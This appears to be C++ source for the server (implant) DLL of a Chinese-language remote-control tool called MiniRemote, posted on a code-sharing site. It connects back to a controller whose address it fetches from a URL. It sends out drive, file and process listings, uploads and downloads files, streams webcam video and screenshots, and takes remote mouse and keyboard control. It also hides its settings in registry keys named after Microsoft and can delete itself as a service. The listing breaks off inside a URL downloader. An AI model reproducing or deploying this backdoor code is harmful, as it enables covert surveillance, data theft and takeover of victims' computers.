www.pudn.com > mini_remote.zip > ServerDll.cpp


// ServerDll.cpp : Defines the initialization routines for the DLL. 
// 
 
#include "stdafx.h" 
#include "sys/stat.h" 
#include "..\CmnHdr.h" 
#include  
#include  
#include  
#include  
#include  
#include "CmdShell.h" 
 
#pragma comment(lib,"ws2_32.lib") 
#pragma comment(lib,"urlmon.lib") 
#include "VideoCap.h" 
 
char m_hHost[30]; 
int  m_hPort=12345; 
 
#pragma data_seg("My_Shared_MINIREMOTE") 
LONG g_l=123456; 
#pragma data_seg() 
#pragma comment(linker,"/Section:My_Shared_MINIREMOTE,RWS") 
 
struct _SERVER_DATA  
{ 
	char            ws_server_name[80]; 
	char			ws_up_url[256]; 
	int 			ws_sleeptime; 
	int             ws_fortest; 
} 
Server_Info= 
{ 
	"Random", 
	"http://...", 
	60000, 
	1, 
}; 
 
void ConnectServer(); 
void RemoveServer(); 
void RecvCommand(SOCKET ss); 
void ShowDriveList(SOCKET cs,COMMAND_MSG msg); 
void ShowProcessInfo(SOCKET cs,COMMAND_MSG msg); 
void UpLoadFile(void *m); 
void DownLoadFile(void *m); 
void CapturePreview(int nPort); 
void GethostInformation(SOCKET cs,COMMAND_MSG msg); 
 
void CheckVideoCap() 
{ 
	HWND m_hWndCapture=NULL; 
	char havecap[6]={0}; 
	m_hWndCapture = ::capCreateCaptureWindow("a",WS_VISIBLE,0,0,0,0,0,0); 
	::SetWindowLong(m_hWndCapture,GWL_EXSTYLE,WS_EX_TOOLWINDOW|WS_EX_STATICEDGE); 
	::MoveWindow(m_hWndCapture,0,0,0,0,TRUE); 
	if (capDriverConnect(m_hWndCapture,0)) 
		strcpy(havecap,"有"); 
	else 
		strcpy(havecap,"无"); 
	capDriverDisconnect(m_hWndCapture); 
	m_hWndCapture=NULL; 
 
	HKEY hKey; 
	DWORD dw; 
	RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\MiniRemote",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw); 
	RegSetValueEx(hKey,"vap_setting",0L,REG_SZ,(const BYTE *)havecap,strlen(havecap)); 
	RegCloseKey(hKey); 
} 
 
void _self_start() 
{ 
	CreateThread( 0,0,(LPTHREAD_START_ROUTINE)CheckVideoCap,NULL,0,NULL); 
	while(1) 
	{ 
		memset(m_hHost,0,30); 
		strcpy(m_hHost,"127.0.0.1"); 
		m_hPort = 12345; 
		HANDLE h=CreateThread( 0,0,(LPTHREAD_START_ROUTINE)ConnectServer,NULL,0,NULL); 
		if (h!=INVALID_HANDLE_VALUE) 
			WaitForSingleObject(h,INFINITE); 
		Sleep(Server_Info.ws_sleeptime); 
	} 
		 
} 
 
void _start() 
{ 
	CreateThread( 0,0,(LPTHREAD_START_ROUTINE)CheckVideoCap,NULL,0,NULL); 
	while(1) 
	{ 
		CInternetSession pSession; 
		CHttpFile *pIpFile=NULL; 
		try 
		{ 
			pIpFile=(CHttpFile*)pSession.OpenURL(Server_Info.ws_up_url,NULL, 
				INTERNET_FLAG_TRANSFER_BINARY|INTERNET_FLAG_RELOAD|INTERNET_FLAG_DONT_CACHE); 
		} 
		catch(...)  
		{ 
			pIpFile=NULL; 
			delete pSession; 
		} 
		if(pIpFile) 
		{ 
			CString str; 
			if(pIpFile->ReadString(str)) 
			{ 
				CString strIP,strPort; 
				strIP=str.Left(str.Find(":")); 
				strPort=str.Right(str.GetLength()-str.Find(":")-1); 
				memset(m_hHost,0,30); 
				strcpy(m_hHost,strIP.GetBuffer(0)); 
				m_hPort = atoi(strPort.GetBuffer(0)); 
				if (m_hPort == 0) 
					m_hPort = 12345; 
				HANDLE h=CreateThread( 0,0,(LPTHREAD_START_ROUTINE)ConnectServer,NULL,0,NULL); 
				if (h!=INVALID_HANDLE_VALUE) 
					WaitForSingleObject(h,INFINITE); 
			} 
			pIpFile->Close(); 
			delete pIpFile; 
			delete pSession;	 
		} 
		Sleep(Server_Info.ws_sleeptime);	 
	} 
} 
 
void RemoveServer() 
{ 
	char *m_ServiceName=Server_Info.ws_server_name; 
	char Desc[MAX_PATH]; 
	SC_HANDLE service=NULL, scm=NULL; 
	SERVICE_STATUS Status; 
	__try 
	{ 
		scm = OpenSCManager(0, 0, 
		SC_MANAGER_CREATE_SERVICE); 
		service = OpenService( 
			scm, m_ServiceName, 
			SERVICE_ALL_ACCESS | DELETE); 
		if (scm==NULL&&service == NULL) 
			__leave; 
		if (!QueryServiceStatus(service, &Status)) 
			__leave; 
		if (Status.dwCurrentState != SERVICE_STOPPED) 
		{ 
			if (!ControlService(service, 
				SERVICE_CONTROL_STOP,  
				&Status)) 
				__leave; 
			Sleep(800); 
		} 
		DeleteService(service); 
		strcpy(Desc,"SYSTEM\\CurrentControlSet\\Services\\"); 
		strcat(Desc,m_ServiceName); 
		RegDeleteKey(HKEY_LOCAL_MACHINE,Desc); 
	} 
	__finally 
	{ 
		if (service!=NULL) 
			CloseServiceHandle(service); 
		if (scm!=NULL) 
			CloseServiceHandle(scm); 
	} 
 
	ExitProcess(0); 
	exit(0); 
	return; 
} 
 
void ConnectServer() 
{ 
	WSADATA Data; 
	WSAStartup(MAKEWORD(2, 1), &Data); 
 
	SOCKADDR_IN destSockAddr; 
	destSockAddr.sin_addr.s_addr = inet_addr(m_hHost); 
	destSockAddr.sin_port=htons(m_hPort); 
	destSockAddr.sin_family=AF_INET; 
	SOCKET hServerSocket=socket(AF_INET, SOCK_STREAM, 0); 
	if (connect(hServerSocket, (LPSOCKADDR) &destSockAddr, sizeof(destSockAddr)) == SOCKET_ERROR) 
		return; 
 
	HOST_INFO info; 
	memset(&info,0,sizeof(HOST_INFO)); 
	info.seq_checksum = 0x12345678; 
	HKEY hKey; 
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS) 
	{ 
		DWORD dwType; 
		DWORD dwSize=255; 
		char szString[255]; 
		if (RegQueryValueEx(hKey,"host_setting",NULL,&dwType,(BYTE *)szString,&dwSize) == ERROR_SUCCESS) 
			strncpy(info.host_setting , szString,255); 
		memset(szString,0,255); 
		dwSize=255; 
		if (RegQueryValueEx(hKey,"vap_setting",NULL,&dwType,(BYTE *)szString,&dwSize) == ERROR_SUCCESS) 
			strncpy(info.have_vap , szString,6); 
		else 
			strcpy(info.have_vap,"无"); 
		RegCloseKey(hKey); 
	} 
 
	while(1) 
	{ 
		int nRet=send(hServerSocket,(char *)&info,sizeof(info),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
			{ 
				return; 
			} 
		} 
		else 
			break; 
	} 
	RecvCommand(hServerSocket); 
} 
 
void ShowDriveList(SOCKET cs,COMMAND_MSG msg) 
{ 
	DRIVE_INFO info; 
	for( TCHAR cLetter = _T('B'); cLetter <= _T('Z'); cLetter++ ) 
	{ 
		memset(&info,0,sizeof(DRIVE_INFO)); 
		CString sDrive = cLetter; 
		sDrive += _T(":");						 
		UINT nType = GetDriveType( sDrive + _T("\\") ); 
		strcpy(info.DriveName,sDrive.GetBuffer(0)); 
		info.nType = nType; 
		info.isEnd=FALSE; 
		while(1) 
		{ 
			int nRet=send(cs,(char *)&info,sizeof(info),NULL); 
			if(nRet==SOCKET_ERROR) 
			{ 
				if(WSAGetLastError()==WSAEWOULDBLOCK) 
				{ 
					Sleep(50); 
					continue; 
				} 
				else goto exit1; 
			} 
			else 
				break; 
		}//end of while 
	}//end of for 
exit1: 
	memset(&info,0,sizeof(DRIVE_INFO)); 
	info.isEnd=TRUE;		 
	while(1) 
	{ 
		int nRet=send(cs,(char *)&info,sizeof(info),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			return; 
		} 
		return; 
	} 
} 
 
void ShowFileList(SOCKET cs,COMMAND_MSG msg) 
{ 
	CString str; 
	str = msg.wParam; 
	str += "*.*"; 
	CFileFind file; 
	CByteArray		m_ArrayBuffer; 
	m_ArrayBuffer.SetSize(0); 
	DWORD dwPosition=0; 
	BOOL bContinue = file.FindFile(str); 
	if (!bContinue) 
	{ 
		DWORD dwDataSize=0; 
		send(cs,(char *)&dwDataSize,sizeof(dwDataSize),NULL); 
		return; 
	} 
	while(bContinue) 
	{ 
		FILE_INFO info; 
		memset(&info,0,sizeof(FILE_INFO)); 
		bContinue = file.FindNextFile(); 
		if(file.IsDots()) 
			continue; 
		else if (file.IsDirectory()) 
		{ 
			strcpy(info.FileName,file.GetFileName()); 
			info.isDirectory = TRUE; 
			info.isEnd = FALSE; 
		} 
		else 
		{ 
			strcpy(info.FileName,file.GetFileName()); 
			info.isDirectory = FALSE; 
			info.isEnd = FALSE; 
		} 
		DWORD dwPosition=m_ArrayBuffer.GetSize(); 
		m_ArrayBuffer.SetSize(dwPosition+sizeof(FILE_INFO)); 
		memcpy(&m_ArrayBuffer[dwPosition],&info,sizeof(FILE_INFO)); 
	} 
	//发送数据大小 
	DWORD dwDataSize=m_ArrayBuffer.GetSize(); 
	while(1) 
	{ 
		int nRet=send(cs,(char *)&dwDataSize,sizeof(dwDataSize),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else return;; 
		} 
		else break; 
	}//发送数据 
	while(1) 
	{ 
		int nRet=send(cs,(char *)m_ArrayBuffer.GetData(),dwDataSize,NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else return; 
		} 
		else break; 
	} 
} 
 
void ShowProcessInfo(SOCKET cs,COMMAND_MSG msg) 
{ 
	PROCESS_INFO info; 
	memset(&info,0,sizeof(PROCESS_INFO)); 
	char pi[50]={0}; 
 
	HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
	PROCESSENTRY32* pe=new PROCESSENTRY32; 
	pe->dwSize=sizeof(PROCESSENTRY32); 
 
	if(Process32First(handle,pe)) 
	{ 
		wsprintf(pi,"%-30s->%-d\r\n",pe->szExeFile,pe->th32ProcessID); 
		strcpy(info.ProcessName,pi); 
		while(Process32Next(handle,pe)!=FALSE) 
		{ 
			wsprintf(pi,"%-30s->%-d\r\n",pe->szExeFile,pe->th32ProcessID); 
			strcat(info.ProcessName,pi); 
		} 
	} 
	delete pe; 
 
	while(1) 
	{ 
		int nRet=send(cs,(char *)&info,sizeof(info),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else return; 
		} 
		else break; 
	}//end of while 
} 
 
void UpLoadFile(void *m) 
{ 
	COMMAND_MSG *msg=(COMMAND_MSG *)m; 
	int nPort = msg->lParam; 
	char filepath[MAX_PATH]={0}; 
	strcpy(filepath,msg->wParam); 
	WSADATA data; 
	WSAStartup(MAKEWORD(2,1),&data); 
	SOCKET m_hSocket = socket(PF_INET,SOCK_STREAM,0); 
	if(m_hSocket == INVALID_SOCKET) 
		return; 
	SOCKADDR_IN sockAddr; 
	memset(&sockAddr,0,sizeof(sockAddr)); 
	sockAddr.sin_family = AF_INET; 
	sockAddr.sin_addr.s_addr=inet_addr(m_hHost); 
	sockAddr.sin_port = htons((u_short)nPort); 
	BOOL isConnected = FALSE; 
	for(int i=0;i<5;i++) 
	{ 
		if(connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) 
			continue; 
		else 
		{ 
			isConnected = TRUE; 
			break; 
		} 
	} 
	if (!isConnected) 
		return; 
 
	FILE* f=fopen(filepath,"wb"); 
	if (f == NULL) 
	{ 
		closesocket(m_hSocket); 
		return; 
	} 
	FILETRASFER_MSG fmsg; 
	while(1) 
	{ 
		memset(&fmsg,0,sizeof(FILETRASFER_MSG)); 
		int nRet=recv(m_hSocket,(char *)&fmsg,sizeof(FILETRASFER_MSG),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
			{ 
				break; 
			} 
		} 
		else 
		{ 
			if (fmsg.isEnd) 
			{ 
				break; 
			} 
			fwrite(fmsg.wParam,fmsg.dwFinger,1,f); 
		} 
	} 
	closesocket(m_hSocket); 
	fclose(f); 
	return; 
} 
 
void DownLoadFile(void *m) 
{ 
	COMMAND_MSG *msg=(COMMAND_MSG *)m; 
	int nPort = msg->lParam; 
	char filepath[MAX_PATH]={0}; 
	strcpy(filepath,msg->wParam); 
	 
	WSADATA data; 
	WSAStartup(MAKEWORD(2,1),&data); 
	SOCKET m_hSocket = socket(PF_INET,SOCK_STREAM,0); 
	if(m_hSocket == INVALID_SOCKET) 
		return; 
	SOCKADDR_IN sockAddr; 
	memset(&sockAddr,0,sizeof(sockAddr)); 
	sockAddr.sin_family = AF_INET; 
	sockAddr.sin_addr.s_addr=inet_addr(m_hHost); 
	sockAddr.sin_port = htons((u_short)nPort); 
	BOOL isConnected = FALSE; 
	for(int i=0;i<5;i++) 
	{ 
		if(connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) 
			continue; 
		else 
		{ 
			isConnected = TRUE; 
			break; 
		} 
	} 
	if (!isConnected) 
		return; 
	// 
	FILE* f=fopen(filepath,"rb"); 
	if (f == NULL) 
	{ 
		closesocket(m_hSocket); 
		return; 
	} 
	struct _stat ST;  
	_stat(filepath, &ST); 
	DWORD dwFileLength=ST.st_size; 
	DWORD dwPoint=0,dwDiffer=0; 
	FILETRASFER_MSG fmsg; 
	while(1) 
	{ 
		memset(&fmsg,0,sizeof(FILETRASFER_MSG)); 
		dwDiffer=dwFileLength-dwPoint; 
		if(dwDiffer>4096) 
			dwDiffer=4096; 
		dwPoint+=dwDiffer; 
		fread(fmsg.wParam,dwDiffer,1,f); 
		fmsg.dwFinger = dwDiffer; 
		fmsg.isEnd=FALSE; 
		while(1) 
		{ 
			int nRet=send(m_hSocket,(char *)&fmsg,sizeof(FILETRASFER_MSG),NULL); 
			if(nRet==SOCKET_ERROR) 
			{ 
				if(WSAGetLastError()==WSAEWOULDBLOCK) 
				{ 
					Sleep(50); 
					continue; 
				} 
				else 
				{ 
					fclose(f); 
					closesocket(m_hSocket); 
					return; 
				} 
			} 
			else break; 
		} 
		if (dwDiffer<4096) 
		{ 
			memset(&fmsg,0,sizeof(FILETRASFER_MSG)); 
			fmsg.isEnd=TRUE; 
			send(m_hSocket,(char *)&fmsg,sizeof(FILETRASFER_MSG),NULL); 
			closesocket(m_hSocket); 
			fclose(f); 
			return; 
		} 
	} 
} 
 
void CapturePreview(int nPort) 
{ 
	CVideoCap cap; 
	if (!cap.Create(NULL)) 
		return; 
	CVideoCodec code; 
	code.InitCompressor(); 
 
	BYTE *m_VComped = new BYTE[250000]; 
	BYTE *m_VDecomped = new BYTE[250000]; 
	 
	WSADATA data; 
	WSAStartup(MAKEWORD(2,1),&data); 
	SOCKET m_hSocket = socket(PF_INET,SOCK_STREAM,0); 
	if(m_hSocket == INVALID_SOCKET) 
		return; 
	SOCKADDR_IN sockAddr; 
	memset(&sockAddr,0,sizeof(sockAddr)); 
	sockAddr.sin_family = AF_INET; 
	sockAddr.sin_addr.s_addr=inet_addr(m_hHost); 
	sockAddr.sin_port = htons((u_short)nPort); 
	BOOL isConnected = FALSE; 
	for(int i=0;i<5;i++) 
	{ 
		if(connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) 
			continue; 
		else 
		{ 
			isConnected = TRUE; 
			break; 
		} 
	} 
	if (!isConnected) 
		return; 
	while(1) 
	{ 
		int comp=0; 
		BYTE *buf = cap.GetImageData(); 
		DWORD len = cap.GetImageDataSize(); 
		if (!code.EncodeVideoData(buf,len,m_VComped,&comp,0)) 
			continue; 
		int nRet=send(m_hSocket,(char *)m_VComped,comp,NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
			{ 
				closesocket(m_hSocket); 
				delete m_VComped; 
				delete m_VDecomped; 
				return; 
			} 
		} 
		memset(m_VDecomped,0,250000); 
		memset(m_VComped,0,250000); 
		Sleep(500); 
	} 
} 
 
static HBITMAP WINAPI PL_GetBitmap(HWND hWnd) 
{ 
	HDC hWndDC = NULL; 
	HDC hMemDC = NULL; 
	HBITMAP hMemBmp = NULL; 
	HBITMAP hOldBmp = NULL; 
	RECT rect; 
	int w = 0, h = 0; 
 
	if(hWnd == NULL) 
	{ 
		hWnd = ::GetDesktopWindow(); 
	} 
	hWndDC = ::GetWindowDC(hWnd); 
	hMemDC = ::CreateCompatibleDC(hWndDC); 
	::GetWindowRect(hWnd, &rect); 
	w = rect.right - rect.left; 
	h = rect.bottom - rect.top; 
 
	hMemBmp = ::CreateCompatibleBitmap(hWndDC, w, h); 
 
	hOldBmp = (HBITMAP)::SelectObject(hMemDC, hMemBmp); 
	::BitBlt(hMemDC, 0, 0, w, h, hWndDC, 0, 0, SRCCOPY); 
 
	// Why??? 
	hMemBmp = (HBITMAP)::SelectObject(hMemDC, hOldBmp); 
 
	::DeleteObject(hOldBmp); 
	::ReleaseDC(NULL, hMemDC); 
	::ReleaseDC(NULL, hWndDC); 
 
	return hMemBmp; 
} 
 
static HANDLE DDB2DIB( HBITMAP bitmap)  
{ 
	//Define Variable 
	BITMAP				bm; 
	BITMAPINFOHEADER	bi; 
    LPBITMAPINFOHEADER 	lpbi; 
	DWORD				dwLen; 
	HANDLE				hDib; 
	HANDLE				handle; 
	HDC 				hdc; 
	HPALETTE			hPal; 
 
	hPal = (HPALETTE) GetStockObject(DEFAULT_PALETTE ); 
 
	// get bitmap information 
	GetObject(bitmap,sizeof(bm),(LPSTR)&bm); 
 
	// initialize the bitmapinfoheader 
	bi.biSize			= sizeof(BITMAPINFOHEADER); 
	bi.biWidth			= bm.bmWidth; 
	bi.biHeight 		= bm.bmHeight; 
	bi.biPlanes 		= 1; 
	//bi.biBitCount		= bm.bmPlanes * bm.bmBitsPixel; 
	bi.biBitCount		= 4; 
	bi.biCompression	= BI_RGB; 
	bi.biSizeImage		= 0; 
	bi.biXPelsPerMeter	= 0; 
	bi.biYPelsPerMeter	= 0; 
	bi.biClrUsed		= 0; 
	bi.biClrImportant	= 0; 
 
	// compute the size of the  infoheader and the color table 
	int ncolors = (1 << bi.biBitCount);  
	if( ncolors> 256 )  
		ncolors = 0; 
	dwLen  = bi.biSize + ncolors * sizeof(RGBQUAD); 
 
	// we need a device context to get the dib from 
	hdc = GetDC(NULL); 
	hPal = SelectPalette(hdc,hPal,FALSE); 
	RealizePalette(hdc); 
 
	// allocate enough memory to hold bitmapinfoheader and color table 
	hDib = GlobalAlloc(GMEM_FIXED,dwLen); 
 
	if (!hDib){ 
		SelectPalette(hdc,hPal,FALSE); 
		ReleaseDC(NULL,hdc); 
		return NULL; 
	} 
 
	lpbi = (LPBITMAPINFOHEADER)hDib; 
 
	*lpbi = bi; 
 
	// call getdibits with a NULL lpbits param, so the device driver  
	// will calculate the bisizeimage field  
	GetDIBits(hdc, bitmap, 0L, (DWORD)bi.biHeight, 
			(LPBYTE)NULL, (LPBITMAPINFO)lpbi, (DWORD)DIB_RGB_COLORS ); 
 
	bi = *lpbi; 
 
	// if the driver did not fill in the bisizeimage field, then compute it 
	// each scan line of the image is aligned on a dword (32bit) boundary 
	if (bi.biSizeImage == 0) 
	{ 
		bi.biSizeImage = ((((bi.biWidth * bi.biBitCount) + 31) & ~31) / 8)  
						* bi.biHeight; 
	} 
 
	// realloc the buffer so that it can hold all the bits 
	dwLen += bi.biSizeImage; 
	if (handle = GlobalReAlloc(hDib, dwLen, GMEM_MOVEABLE)) 
		hDib = handle; 
	else 
	{ 
		GlobalFree(hDib); 
 
		// reselect the original palette 
		SelectPalette(hdc,hPal,FALSE); 
		ReleaseDC(NULL,hdc); 
		return NULL; 
	} 
 
	// get the bitmap bits 
	lpbi = (LPBITMAPINFOHEADER)hDib; 
 
	// finally get the dib 
	BOOL bgotbits = GetDIBits( hdc, bitmap, 
				0L,								// start scan line 
				(DWORD)bi.biHeight,				// # of scan lines 
				(LPBYTE)lpbi 					// address for bitmap bits 
				+ (bi.biSize + ncolors * sizeof(RGBQUAD)), 
				(LPBITMAPINFO)lpbi,				// address of bitmapinfo 
				(DWORD)DIB_RGB_COLORS);			// use rgb for color table 
 
	if( !bgotbits ) 
	{ 
		GlobalFree(hDib); 
		 
		SelectPalette(hdc,hPal,FALSE); 
		ReleaseDC(NULL,hdc); 
		return NULL; 
	} 
 
	SelectPalette(hdc,hPal,FALSE); 
	ReleaseDC(NULL,hdc); 
 
	return hDib; 
} 
 
#define _MOUSE_MOVE				0x21 
#define _MOUSE_LBUTTONDOWN		0x22 
#define _MOUSE_LBUTTONUP		0x23 
#define _MOUSE_RBUTTONDOWN		0x24 
#define _MOUSE_RBUTTONUP		0x25 
#define _MOUSE_LDBLCLK			0x26 
#define _MOUSE_RDBLCLK			0x27 
#define _KEY_DOWN				0x31 
#define _KEY_UP					0x32 
 
class MouseCtrl 
{ 
public: 
	MouseCtrl(){} 
	virtual ~MouseCtrl(){} 
 
	void PL_MouseMove(POINT point) 
	{ 
		SetCursorPos(point.x, point.y); 
	} 
 
	void PL_MouseLButtonDown(POINT point, BOOL bMove) 
	{ 
		if(bMove) 
		{ 
			PL_MouseMove(point); 
		} 
		mouse_event(MOUSEEVENTF_LEFTDOWN, point.x, point.y, 0, 0); 
	} 
 
	void PL_MouseLButtonUp(POINT point, BOOL bMove) 
	{ 
		if(bMove) 
		{ 
			PL_MouseMove(point); 
		} 
		mouse_event(MOUSEEVENTF_LEFTUP, point.x, point.y, 0, 0); 
	} 
 
	void PL_MouseRButtonDown(POINT point, BOOL bMove) 
	{ 
		if(bMove) 
		{ 
			PL_MouseMove(point); 
		} 
		mouse_event(MOUSEEVENTF_RIGHTDOWN, point.x, point.y, 0, 0); 
	} 
 
	void PL_MouseRButtonUp(POINT point, BOOL bMove) 
	{ 
		if(bMove) 
		{ 
			PL_MouseMove(point); 
		} 
		mouse_event(MOUSEEVENTF_RIGHTUP, point.x, point.y, 0, 0); 
	} 
 
	void PL_MouseLButtonDblClk(POINT point, BOOL bMove) 
	{ 
		if(bMove) 
		{ 
			PL_MouseMove(point); 
		} 
		PL_MouseLButtonDown(point,FALSE); 
		PL_MouseLButtonUp(point,FALSE); 
		PL_MouseLButtonDown(point,FALSE); 
		PL_MouseLButtonUp(point,FALSE); 
	} 
 
	void PL_MouseRButtonDblClk(POINT point, BOOL bMove) 
	{ 
		if(bMove) 
		{ 
			PL_MouseMove(point); 
		} 
		PL_MouseRButtonDown(point,FALSE); 
		PL_MouseRButtonUp(point,FALSE); 
		PL_MouseRButtonDown(point,FALSE); 
		PL_MouseRButtonUp(point,FALSE); 
	} 
 
	void WINAPI PL_KeyDown(UINT uChar, UINT uFlag) 
	{ 
		keybd_event((BYTE)uChar, (BYTE)uChar, 0, 0); 
	} 
	void WINAPI PL_KeyUp(UINT uChar, UINT uFlag) 
	{ 
		keybd_event((BYTE)uChar, (BYTE)uChar, KEYEVENTF_KEYUP, 0); 
	} 
}; 
 
void MouseKeyBoardCtrl(void *s) 
{ 
	SOCKET ss = (SOCKET) s; 
	long num; 
    MOUSEKEYCTRL ctrl; 
	MouseCtrl cc; 
	POINT point; 
	while(1) 
	{ 
		memset(&ctrl,0,sizeof(MOUSEKEYCTRL)); 
		fd_set FdRead; 
		FD_ZERO(&FdRead); 
		FD_SET(ss,&FdRead); 
		int Er=select(ss+1, &FdRead, NULL, NULL, NULL); 
		if((Er==SOCKET_ERROR) || (Er==0)) break; 
		if(FD_ISSET(ss,&FdRead)) 
		{ 
			num=recv(ss,(char *)&ctrl,sizeof(MOUSEKEYCTRL),0); 
			if(num<=0 || num == SOCKET_ERROR) 
			{ 
				closesocket(ss); 
				return; 
			} 
			switch(ctrl.dCtrlID) 
			{ 
			case _MOUSE_MOVE: 
				point.x=ctrl.x; 
				point.y=ctrl.y; 
				cc.PL_MouseMove(point); 
				break; 
			case _MOUSE_LBUTTONDOWN: 
				point.x=ctrl.x; 
				point.y=ctrl.y; 
				cc.PL_MouseLButtonDown(point,ctrl.bMove); 
				break; 
			case _MOUSE_LBUTTONUP: 
				point.x=ctrl.x; 
				point.y=ctrl.y; 
				cc.PL_MouseLButtonUp(point,ctrl.bMove); 
				break; 
			case _MOUSE_RBUTTONDOWN: 
				point.x=ctrl.x; 
				point.y=ctrl.y; 
				cc.PL_MouseRButtonUp(point,ctrl.bMove); 
				break; 
			case _MOUSE_RBUTTONUP: 
				point.x=ctrl.x; 
				point.y=ctrl.y; 
				cc.PL_MouseRButtonUp(point,ctrl.bMove); 
				break; 
			case _MOUSE_LDBLCLK: 
				point.x=ctrl.x; 
				point.y=ctrl.y; 
				cc.PL_MouseLButtonDblClk(point,ctrl.bMove); 
				break; 
			case _MOUSE_RDBLCLK: 
				point.x=ctrl.x; 
				point.y=ctrl.y; 
				cc.PL_MouseRButtonDblClk(point,ctrl.bMove); 
				break; 
			case _KEY_DOWN: 
				cc.PL_KeyDown(ctrl.uChar,ctrl.nFlags); 
				break; 
			case _KEY_UP: 
				cc.PL_KeyUp(ctrl.uChar,ctrl.nFlags); 
				break; 
			} 
		} 
	} 
    closesocket(ss); 
	return; 
} 
 
void RemoteDesktopViewer(int nPort) 
{ 
	HDESK   hdeskCurrent; 
    HDESK   hdesk; 
    HWINSTA hwinstaCurrent; 
    HWINSTA hwinsta; 
    hwinstaCurrent = GetProcessWindowStation(); 
    hdeskCurrent = GetThreadDesktop(GetCurrentThreadId()); 
    hwinsta = OpenWindowStation("winsta0", FALSE, 
                                  WINSTA_ACCESSCLIPBOARD   | 
                                  WINSTA_ACCESSGLOBALATOMS | 
                                  WINSTA_CREATEDESKTOP     | 
                                  WINSTA_ENUMDESKTOPS      | 
                                  WINSTA_ENUMERATE         | 
                                  WINSTA_EXITWINDOWS       | 
                                  WINSTA_READATTRIBUTES    | 
                                  WINSTA_READSCREEN        | 
                                  WINSTA_WRITEATTRIBUTES); 
    SetProcessWindowStation(hwinsta); 
    hdesk = OpenDesktop("default", 0, FALSE, 
                            DESKTOP_CREATEMENU | 
							DESKTOP_CREATEWINDOW | 
                            DESKTOP_ENUMERATE    | 
                            DESKTOP_HOOKCONTROL  | 
                            DESKTOP_JOURNALPLAYBACK | 
                            DESKTOP_JOURNALRECORD | 
                            DESKTOP_READOBJECTS | 
                            DESKTOP_SWITCHDESKTOP | 
                            DESKTOP_WRITEOBJECTS); 
	SetThreadDesktop(hdesk); 
 
	WSADATA data; 
	WSAStartup(MAKEWORD(2,1),&data); 
	SOCKET m_hSocket = socket(PF_INET,SOCK_STREAM,0); 
	if(m_hSocket == INVALID_SOCKET) 
		return; 
	SOCKADDR_IN sockAddr; 
	memset(&sockAddr,0,sizeof(sockAddr)); 
	sockAddr.sin_family = AF_INET; 
	sockAddr.sin_addr.s_addr=inet_addr(m_hHost); 
	sockAddr.sin_port = htons((u_short)nPort); 
	BOOL isConnected = FALSE; 
	for(int i=0;i<5;i++) 
	{ 
		if(connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) 
			continue; 
		else 
		{ 
			isConnected = TRUE; 
			break; 
		} 
	} 
	if (!isConnected) 
		return; 
 
	HANDLE h=CreateThread(0,0,(LPTHREAD_START_ROUTINE)MouseKeyBoardCtrl,(void *)m_hSocket,0,NULL); 
	int cx = ::GetSystemMetrics(SM_CXSCREEN); 
	int cy = ::GetSystemMetrics(SM_CYSCREEN); 
	MOUSEKEYCTRL ctrl; 
	memset(&ctrl,0,sizeof(MOUSEKEYCTRL)); 
	ctrl.x=cx; 
	ctrl.y=cy; 
	if (send(m_hSocket,(char *)&ctrl,sizeof(MOUSEKEYCTRL),NULL)==SOCKET_ERROR) 
	{ 
		closesocket(m_hSocket); 
		TerminateThread(h,0); 
		TerminateThread(h,1); 
		CloseHandle(h); 
		return; 
	} 
 
	C_LZW lw; 
	HANDLE hLZWDib; 
	HANDLE hDib; 
	while(1) 
	{ 
		HWND hDesktopWnd = ::GetDesktopWindow(); 
		HBITMAP hBmp = ::PL_GetBitmap(hDesktopWnd); 
		hDib=::DDB2DIB(hBmp); 
		 
		hLZWDib = ( HANDLE ) lw.Encode((char *)GlobalLock(hDib),GlobalSize(hDib)); 
		DWORD nSize = GlobalSize(hLZWDib); 
		int nRet=send(m_hSocket,(char *)GlobalLock(hLZWDib),nSize,NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
			{ 
				GlobalFree(hDib); 
				GlobalFree(hLZWDib); 
				closesocket(m_hSocket); 
				TerminateThread(h,0); 
				TerminateThread(h,1); 
				CloseHandle(h); 
				ExitThread(0); 
				ExitThread(1); 
				return; 
			} 
		} 
		Sleep(1000); 
	} 
} 
 
void UrlDownLoader(void *u) 
{ 
	char url[255]={0}; 
	strcpy(url,(char*)u); 
 
	char seps[]= "/"; 
	char *token; 
	char *file; 
	char myURL[MAX_PATH] ={0}; 
	char myFILE[MAX_PATH] = {0}; 
 
	strcpy(myURL,url); 
	token=strtok(myURL,seps); 
  	while(token!=NULL) 
	{ 
		file=token; 
		token=strtok(NULL,seps); 
	} 
